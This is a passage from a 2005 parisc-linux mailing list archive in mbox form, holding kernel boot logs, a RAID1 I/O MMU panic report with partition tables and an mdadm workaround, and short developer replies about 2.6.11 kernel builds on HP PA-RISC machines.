Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Memory: 1048576k available
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
Brought up 1 CPUs
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Fast at 0xfffffffffe780000 [128] { 0, 0x0, 0x889, 0x00004 }
2. Storm Peak Fast at 0xfffffffffe781000 [129] { 0, 0x0, 0x889, 0x00004 }
3. Storm Peak Fast at 0xfffffffffe798000 [152] { 0, 0x0, 0x889, 0x00004 }
4. Storm Peak Fast at 0xfffffffffe799000 [153] { 0, 0x0, 0x889, 0x00004 }
5. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
6. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
7. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
13. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Enabling PDC_PAT chassis codes support.
Releasing cpu 1 now, hpa=fffffffffe781000
FP[1] enabled: Rev 1 Model 20
Releasing cpu 2 now, hpa=fffffffffe798000
FP[2] enabled: Rev 1 Model 20
Releasing cpu 3 now, hpa=fffffffffe799000
FP[3] enabled: Rev 1 Model 20
CPU(s): 4 x PA8800 (Mako) at 999.999700 MHz
SBA found Pluto 2.3 at 0xfffffffffed00000
lba version TR3.2 (0x32) found at 0xfffffffffed20000
lba version TR3.2 (0x32) found at 0xfffffffffed22000
lba version TR3.2 (0x32) found at 0xfffffffffed24000
lba version TR3.2 (0x32) found at 0xfffffffffed26000
lba version TR3.2 (0x32) found at 0xfffffffffed28000
kernel BUG at kernel/workqueue.c:132!
Kernel panic - not syncing: BUG!
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.... b2k panic with raid1 :-( (I/O MMU ... out of
	mapping ressources)
Date: Thu, 20 Jan 2005 11:51:00 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <41DE61B800004297@mail-8-bnl.mail.tiscali.sys>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623657 12604 80.91.229.3 (22 Nov 2014 02:34:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:17 +0000 (UTC)
To: grundler@parisc-linux.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jan 2005 10:52:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 20 Jan 2005 11:52:03 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 562C63BE51; Thu, 20 Jan 2005 03:52:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30846-05; Thu, 20 Jan 2005 03:51:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 78E3A3BE6B; Thu, 20 Jan 2005 03:51:13 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD6323BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 03:51:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30846-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 03:51:06 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (griswold.tiscali.it [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 14A273BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 03:51:06 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 20 Jan 2005 11:51:05 +0100
Original-Received: from mail-8-bnl.mail.tiscali.sys ([10.39.115.138]
	helo=mail-8-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1CrZu2-0007Ym-4w; Thu, 20 Jan 2005 11:51:04 +0100
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Thu, 20 Jan 2005 11:51:00 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22310

Hello all,

Since this morning I mirrored my disks (1 9Gb on 1 36Gb) but as soon as I=

try to 'apt-get update' the system now panic:

Kernel panic - not syncing: /CAD/linux-2.6.11-rc1-pa3/drivers/parisc/sba_=
iommu.c:
I/O MMU @ fed20000 is out of mapping resources

(nothing more sorry)

This pb occured with 2.6.11-rc1-pa3 32bit (config near c3k default), 2.6.=
11-rc1-pa2
64bit, 2.6.10-pa10 32bit and even with 2.6.8-pa11 64bit 

the fs on which I worked is:
/dev/md7               2015696    604044   1391176  31% /Sources

ie:
# cat /proc/mdstat
...
md7 : active raid1 sdb10[1] sda10[0]
      2047872 blocks [2/2] [UU]
...

and the slicing of those disks are:
# partition table of /dev/sda
unit: sectors

/dev/sda1 : start=3D       32, size=3D   128992, Id=3Df0
/dev/sda2 : start=3D   129024, size=3D   256000, Id=3Dfd
/dev/sda3 : start=3D   385024, size=3D   512000, Id=3Dfd
/dev/sda4 : start=3D   897024, size=3D 16773120, Id=3D 5
/dev/sda5 : start=3D   897056, size=3D  3198944, Id=3Dfd
/dev/sda6 : start=3D  4096032, size=3D   511968, Id=3Dfd
/dev/sda7 : start=3D  4608032, size=3D   255968, Id=3Dfd
/dev/sda8 : start=3D  4864032, size=3D   255968, Id=3Dfd
/dev/sda9 : start=3D  5120032, size=3D  4095968, Id=3Dfd
/dev/sda10: start=3D  9216032, size=3D  4095968, Id=3Dfd
/dev/sda11: start=3D 13312032, size=3D  4095968, Id=3Dfd

# partition table of /dev/sdb
unit: sectors

/dev/sdb1 : start=3D       32, size=3D   128992, Id=3Df0
/dev/sdb2 : start=3D   129024, size=3D   256000, Id=3Dfd
/dev/sdb3 : start=3D   385024, size=3D   512000, Id=3Dfd
/dev/sdb4 : start=3D   897024, size=3D 49278976, Id=3D 5
/dev/sdb5 : start=3D   897056, size=3D  3198944, Id=3Dfd
/dev/sdb6 : start=3D  4096032, size=3D   511968, Id=3Dfd
/dev/sdb7 : start=3D  4608032, size=3D   255968, Id=3Dfd
/dev/sdb8 : start=3D  4864032, size=3D   255968, Id=3Dfd
/dev/sdb9 : start=3D  5120032, size=3D  4095968, Id=3Dfd
/dev/sdb10: start=3D  9216032, size=3D  4095968, Id=3Dfd
/dev/sdb11: start=3D 13312032, size=3D  4095968, Id=3Dfd
/dev/sdb12: start=3D 17408032, size=3D 32767968, Id=3D83

(no pb encountered to build and sync the mirroring).

I just find a work around: mark a slice failed (mdadm --fail /dev/sda10)
and I can now doing my 'apt-get update'

Thanks in advance for help,
    Joel

PS: I presume that same pb will occure when I will try to upgrade the ins=
tall
(a debian unstable) so am I waiting the end of a restore before continuin=
g

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.11-rc-bk7-pa0 :-)
Date: Thu, 20 Jan 2005 19:46:04 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <41DE92B50000438B@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623657 12606 80.91.229.3 (22 Nov 2014 02:34:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:17 +0000 (UTC)
Cc: willy@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jan 2005 18:46:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 20 Jan 2005 19:46:32 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 40F3A3BE68; Thu, 20 Jan 2005 11:46:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03172-06; Thu, 20 Jan 2005 11:46:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 95E673BE6A; Thu, 20 Jan 2005 11:46:17 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBD153BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 11:46:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03261-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 11:46:09 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (griswold.tiscali.it [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 543113BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 11:46:08 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 20 Jan 2005 19:46:07 +0100
Original-Received: from mail-3-bnl.mail.tiscali.sys ([10.39.115.133]
	helo=mail-3-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1CrhJl-0001sr-Rz; Thu, 20 Jan 2005 19:46:07 +0100
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Thu, 20 Jan 2005 19:46:04 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22311

Willy,

Cool: boot and seems to works fine on b180 and boot fine on b2k 64bit :-)=


Thanks a lot,
    Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11-rc-bk7-pa0 :-)
Date: Thu, 20 Jan 2005 18:59:24 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20050120185924.GK25940@parcelfarce.linux.theplanet.co.uk>
References: <41DE92B50000438B@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623658 12608 80.91.229.3 (22 Nov 2014 02:34:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:18 +0000 (UTC)
Cc: willy@parisc-linux.org,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jan 2005 18:59:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 20 Jan 2005 19:59:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D48913BE68; Thu, 20 Jan 2005 11:59:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03475-03; Thu, 20 Jan 2005 11:59:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 59E0F3BE6B; Thu, 20 Jan 2005 11:59:32 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5C3C3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 11:59:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03261-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 11:59:26 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 5A1A13BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 11:59:26 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1CrhWf-0004FU-3B; Thu, 20 Jan 2005 18:59:25 +0000
Content-Disposition: inline
In-Reply-To: <41DE92B50000438B@mail-3-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22312

On Thu, Jan 20, 2005 at 07:46:04PM +0100, Joel Soete wrote:
> Willy,
> 
> Cool: boot and seems to works fine on b180 and boot fine on b2k 64bit :-)

Blimey, I wasn't expecting anyone to actually try booting it, it was
more of a resync point for doing more merges.

But it's cool that it works ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11-rc1-pa3 rp3440 BUG at kernel/workqueue.c:132
Date: Thu, 20 Jan 2005 22:55:41 -0700
Lines: 234
Approved: news@gmane.org
Message-ID: <20050121055541.GH6582@colo.lackof.org>
References: <20050119074927.GB3879@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623658 12610 80.91.229.3 (22 Nov 2014 02:34:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jan 2005 05:55:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 21 Jan 2005 06:55:54 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F17763BE72; Thu, 20 Jan 2005 22:55:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09510-06; Thu, 20 Jan 2005 22:55:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 37B433BE75; Thu, 20 Jan 2005 22:55:45 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 470153BE72
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 22:55:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09510-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 22:55:39 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1C7593BE71
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Jan 2005 22:55:39 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 85327298028;
	Thu, 20 Jan 2005 22:55:42 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07361-02; Thu, 20 Jan 2005 22:55:41 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C4F4D29800F; Thu, 20 Jan 2005 22:55:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050119074927.GB3879@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22313

On Wed, Jan 19, 2005 at 12:49:27AM -0700, Grant Grundler wrote:
> System paniced at boot.
> 
> The odd thing is the "more memory ranges than we support" message
> is out of place since DISCONTIGMEM is enabled.

That should have been my first clue it wasn't the kernel
that I was expecting.

Appended is the output for ion (rp3440) again on 2.6.11-rc1 kernel.
Apologies for the confusion the first time around...

This time, the kernel panics because NFS server isn't config'd right.
I'll fix that and see if it gets much further.

grant


Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Boot IO Dependent Code (IODC) revision 3


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004

Boot image contains:
    0/vmlinux64 6298528 bytes @ 0xa000

Command line for kernel: 'root=/dev/nfs nfsroot=192.168.1.61:/home/tftpboot/ion ip=dhcp console=ttyS1 palo_kernel=0HOME=/'
Selected kernel: HOME=/ from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 64-bit kernelELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4592256 mediaptr 0x1000
Segment 1 load 00564000 size 333808 mediaptr 0x463000
Segment 2 load 005b8000 size 294888 mediaptr 0x4b5000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.11-rc1-pa3-nopre (grundler@gsyprf11.external.hp.com) (gcc version 3.4.4 20041218 (prerelease) (Debian 3.4.3-6)) #5 SMP Sun Jan 16 13:18:17 PST 2005
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00008890 00000491 00000000 00000002 3e0505e7352af70e 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 Mb
 1) Start 0x0000004040000000 End 0x00000040ffdfffff Size   3070 Mb
Total Memory: 4094 Mb
SMP: bootstrap CPU ID is 0
Built 2 zonelists
Kernel command line: root=/dev/nfs nfsroot=192.168.1.61:/home/tftpboot/ion ip=dhcp console=ttyS1 palo_kernel=0HOME=/
PID hash table entries: 4096 (order: 12, 131072 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 4192256k available
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
Brought up 1 CPUs
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Fast at 0xfffffffffe780000 [128] { 0, 0x0, 0x889, 0x00004 }
2. Storm Peak Fast at 0xfffffffffe781000 [129] { 0, 0x0, 0x889, 0x00004 }
3. Storm Peak Fast at 0xfffffffffe798000 [152] { 0, 0x0, 0x889, 0x00004 }
4. Storm Peak Fast at 0xfffffffffe799000 [153] { 0, 0x0, 0x889, 0x00004 }
5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Releasing cpu 1 now, hpa=fffffffffe781000
FP[1] enabled: Rev 1 Model 20
Releasing cpu 2 now, hpa=fffffffffe798000
FP[2] enabled: Rev 1 Model 20
Releasing cpu 3 now, hpa=fffffffffe799000
FP[3] enabled: Rev 1 Model 20
CPU(s): 4 x PA8800 (Mako) at 999.999200 MHz
